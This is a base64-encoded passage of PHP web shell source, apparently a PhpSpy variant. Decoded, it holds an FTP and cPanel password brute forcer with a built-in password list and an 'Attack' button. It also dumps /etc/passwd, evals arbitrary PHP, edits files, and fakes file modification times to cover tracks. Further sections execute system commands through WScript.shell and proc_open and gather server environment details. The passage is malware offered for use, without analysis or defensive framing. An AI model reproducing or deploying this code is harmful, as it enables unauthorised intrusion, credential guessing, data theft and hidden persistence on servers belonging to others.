RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnYnJ1dGUnKTsNCgltYWtlaGlkZSgnZGlyJywkYnJ1dGUpOw0KQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOw0KJGNvbm5lY3RfdGltZW91dD01Ow0KQHNldF90aW1lX2xpbWl0KDApOw0KJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107DQokdXNlcnMgPSAkX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcyA9ICRfUkVRVUVTVFsncGFzc3dvcmRzJ107DQokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsNCiRvcHRpb24gPSAkX1JFUVVFU1RbJ29wdGlvbiddOw0KDQoNCiRwYXNzbGlzdCA9ICIwMTIzNDU2DQowMTIzNDU2Nw0KMDEyMzQ1Njc4DQowMTIzNDU2Nzg5DQowMTIzNDU2Nzg5MA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KNDU2NDU2DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluDQphZG1pbmlzdHJhdG9yDQphZG1pbmNwDQpjcGFuZWwNCmFkbWlueA0KYWRtaW5zDQpwYXNzd29yZA0KcGFzc3dvcmRzDQpwYXNzdzByZA0KcEBzc3cwcmQNCnBAc3N3b3JkDQpraG9uZ2NvDQoyNTI1MTMyNQ0KcGFzc3cwcmRzIjsNCmlmKCR0YXJnZXQgPT0gJycpew0KJHRhcmdldCA9ICdsb2NhbGhvc3QnOw0KfQ0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPg0KDQo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzQwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT48dHI+PHRkPg0KPGI+IFRhcmdldCAgOiA8L2ZvbnQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RhcmdldCcgc2l6ZT0nMTYnIHZhbHVlPSAkdGFyZ2V0IHN0eWxlPSdib3JkZXI6IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC13ZWlnaHQ6Ym9sZDsnPjwvcD48L2ZvbnQ+PC9iPjwvcD4NCjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPg0KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzUwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT4NCjx0cj4NCjx0ZCBhbGlnbj0nY2VudGVyJz4NCjxiPlVzZXJuYW1lPC9iPjwvdGQ+DQo8dGQ+DQo8cCBhbGlnbj0nY2VudGVyJz4NCjxiPlBhc3N3b3JkPC9iPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHAgYWxpZ249J2NlbnRlcic+DQo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiI7DQokaSA9IDA7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KDQogICAgJGxpbmUgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsNCg0KICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZiYV9ldGNwd2QpID0gZWFjaCgkbGluZSkpew0KICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgJGkrKzsNCn0NCmVjaG8gIg0KPC90ZXh0YXJlYT4NCjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ncGFzc3dvcmRzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiRwYXNzbGlzdDwvdGV4dGFyZWE+PGJyPg0KPGJyPg0KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwNCjxpbnB1dCBuYW1lPSdvcHRpb24nIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPiBmdHAgPT0+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBdHRhY2snIG5hbWU9J3N1Ym1pdCcgPjwvcD4NCjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L2Zvcm0+PHAgYWxpZ249ICdsZWZ0Jz4iOw0KPz4NCjw/cGhwDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgew0KDQpwcmludCAiPGI+IEVycm9yIDogQ29ubmVjdGlvbiB0aW1lZCBvdXQgLCBtYWtlIGNvbmZpZGVuY2UgYWJvdXQgdmFsaWRhdGlvbiBvZiB0YXJnZXQgITwvYj4iOw0KZXhpdDt9DQoNCmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7DQoNCnAoIjxiPlsgYXR0YWNrQHZiYXRlYW0ubmV0IF0jIDwvYj4NCg0KPGI+IEF0dGFja2luZyBoYXMgYmVlbiBkb25lISBVc2VybmFtZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+ID0+IDxhIGhyZWY9aHR0cDovLyR1c2VyOiRwYXNzQCRob3N0OjIwODIgdGFyZ2V0PV9ibGFuaz5Mb2dpbjwvYT48L2I+PGJyPiIpOw0KfQ0KY3VybF9jbG9zZSgkY2gpO30NCg0KZnVuY3Rpb24gY3BhbmVsX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOw0KJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsNCmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgew0KcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsNCmV4aXQ7fQ0KZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsNCg0KcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPjxiPkF0dGFja2luZyBoYXMgYmVlbiBkb25lITwvYT4gVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PjwvYj48YnI+Iik7fWN1cmxfY2xvc2UoJGNoKTt9DQoNCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7DQoNCiR1c2VybGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkdXNlcnMgKTsNCiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOw0KcCgnPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgQXR0YWNraW5nIC4uLjwvZm9udD48L2I+PGJyPicpOw0KZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7DQokX3VzZXIgPSB0cmltKCR1c2VyKTsNCmZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQgKSB7DQokX3Bhc3MgPSB0cmltKCRwYXNzd29yZCk7DQppZigkb3B0aW9uID09ICJmdHAiKXsNCmZ0cF9jaGVjaygkdGFyZ2V0LCRfdXNlciwkX3Bhc3MsJGNvbm5lY3RfdGltZW91dCk7DQp9DQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikNCnsNCmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRfdXNlciwkX3Bhc3MsJGNvbm5lY3RfdGltZW91dCk7DQp9DQp9DQp9DQp9DQoNCglmb3JtZm9vdCgpOw0KfQ0KDQoNCg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdldGNwd2QnKSB7DQpmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nR2V0IC9ldGMvcGFzc3dkJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQokaSA9IDA7DQogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOw0Kd2hpbGUgKCRpIDwgNjAwMDApIHsNCg0KICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOw0KICAgIGlmICghZW1wdHkoJGxpbmUpKSB7DQoNCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsNCiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICRpKys7DQp9DQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7DQoJZm9ybWZvb3QoKTsNCn0NCg0KZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgew0KCSRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7DQoJaWYoJHBocGNvZGUpew0KCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsNCgkJCSRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOw0KCQl9DQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidQSFAgQ29kZScsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7DQoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7DQoJZm9ybWZvb3RlcigpOw0KfS8vZW5kIGV2YWwNCg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCglpZihmaWxlX2V4aXN0cygkb3BmaWxlKSkgew0KCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCgkJQGZjbG9zZSgkZnApOw0KCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOw0KCX0NCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ3JlYXRlIC8gRWRpdCBGaWxlJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBGaWxlIChpbXBvcnQgbmV3IGZpbGUgbmFtZSBhbmQgbmV3IGZpbGUpJywnbmFtZSc9PidlZGl0ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7DQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBlZGl0ZmlsZQ0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoJJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsNCgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmaWxlIHdhcyBsYXN0IG1vZGlmaWVkIHRpbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRlciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoJZm9ybWZvb3RlcigpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2RpZmllZCcpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOw0KCXAoJ3llYXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZpbGVtdGltZSksJ3NpemUnPT40KSk7DQoJcCgnbW9udGg6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ2RheTonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KCXAoJ2hvdXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnbWludXRlOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnc2Vjb25kOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290ZXIoKTsNCn0vL2VuZCBuZXd0aW1lDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc2hlbGwnKSB7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgew0KCQkJJHNoZWxsPSBuZXcgQ09NKCdTaGVsbC5BcHBsaWNhdGlvbicpOw0KCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsNCgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsNCgkJfQ0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsNCgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOw0KCQlmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBQcm9ncmFtJykpOw0KCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCgkJcCgnPHA+Jyk7DQoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KCQlwKCc8L3A+Jyk7DQoJCWZvcm1mb290KCk7DQoJfQ0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIENvbW1hbmQnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJGV4ZWNmdW5jZGIgPSBhcnJheSgncGhwZnVuYyc9PidwaHBmdW5jJywnd3NjcmlwdCc9Pid3c2NyaXB0JywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpOw0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsNCgl9DQoJcCgnPHA+Jyk7DQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCg0KCWlmICgkY29tbWFuZCkgew0KCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOw0KCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgew0KCQkJJHdzaCA9IG5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTsNCgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoJCQkkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOw0KCQkJZWNobyAkc3Ryb3V0cHV0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoJCQkkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgNCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLA0KCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksDQoJCQkgICAyID0+IGFycmF5KCdwaXBlJywgJ3cnKQ0KCQkJKTsNCgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsNCgkJCWlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOw0KCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOw0KCQkJCWZjbG9zZSgkcGlwZXNbMF0pOw0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7DQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCgkJCQl9DQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMl0sIDEwMjQpOw0KCQkJCX0NCgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsNCgkJCQlwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCgkJCX0NCgkJfSBlbHNlIHsNCgkJCWVjaG8oZXhlY3V0ZSgkY29tbWFuZCkpOw0KCQl9DQoJCXAoJzwvcHJlPicpOw0KCX0NCn0vL2VuZCBzaGVsbA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3BocGVudicpIHsNCgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7DQoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7DQoJISRkaXNfZnVuYyAmJiAkZGlzX2Z1bmMgPSAnTm8nOw0KCSRpbmZvID0gYXJyYXkoDQoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLA0KCQkyID0+IGFycmF5KCdTZXJ2ZXIgRG9tYWluJywkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSksDQoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLA0KCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksDQoJCTUgPT4gYXJyYXkoJ1NlcnZlciBPUyBDaGFyc2V0JywkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSksDQoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoJCTggPT4gYXJyYXkoJ1BIUCBydW4gbW9kZScsc3RydG91cHBlcihwaHBfc2FwaV9uYW1lKCkpKSwNCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLA0KDQoJCTEwID0+IGFycmF5KCdQSFAgVmVyc2lvbicsUEhQX1ZFUlNJT04pLA0KCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwNCgkJMTIgPT4gYXJyYXkoJ1NhZmUgTW9kZScsZ2V0Y2ZnKCdzYWZlX21vZGUnKSksDQoJCTEzID0+IGFycmF5KCdBZG1pbmlzdHJhdG9yJywkYWRtaW5tYWlsKSwNCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksDQoJCTE1ID0+IGFycmF5KCdlbmFibGVfZGwnLGdldGNmZygnZW5hYmxlX2RsJykpLA0KCQkxNiA9PiBhcnJheSgnZGlzcGxheV9lcnJvcnMnLGdldGNmZygnZGlzcGxheV9lcnJvcnMnKSksDQoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksDQoJCTE4ID0+IGFycmF5KCdtYWdpY19xdW90ZXNfZ3BjJyxnZXRjZmcoJ21hZ2ljX3F1b3Rlc19ncGMnKSksDQoJCTE5ID0+IGFycmF5KCdtZW1vcnlfbGltaXQnLGdldGNmZygnbWVtb3J5X2xpbWl0JykpLA0KCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLA0KCQkyMSA9PiBhcnJheSgndXBsb2FkX21heF9maWxlc2l6ZScsJHVwc2l6ZSksDQoJCTIyID0+IGFycmF5KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGdldGNmZygnbWF4X2V4ZWN1dGlvbl90aW1lJykuJyBzZWNvbmQocyknKSwNCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLA0KCSk7DQoNCglpZigkcGhwdmFybmFtZSkgew0KCQltKCRwaHB2YXJuYW1lIC4nIDogJy5nZXRjZmcoJHBocHZhcm5hbWUpKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdwaHBlbnYnKTsNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0Z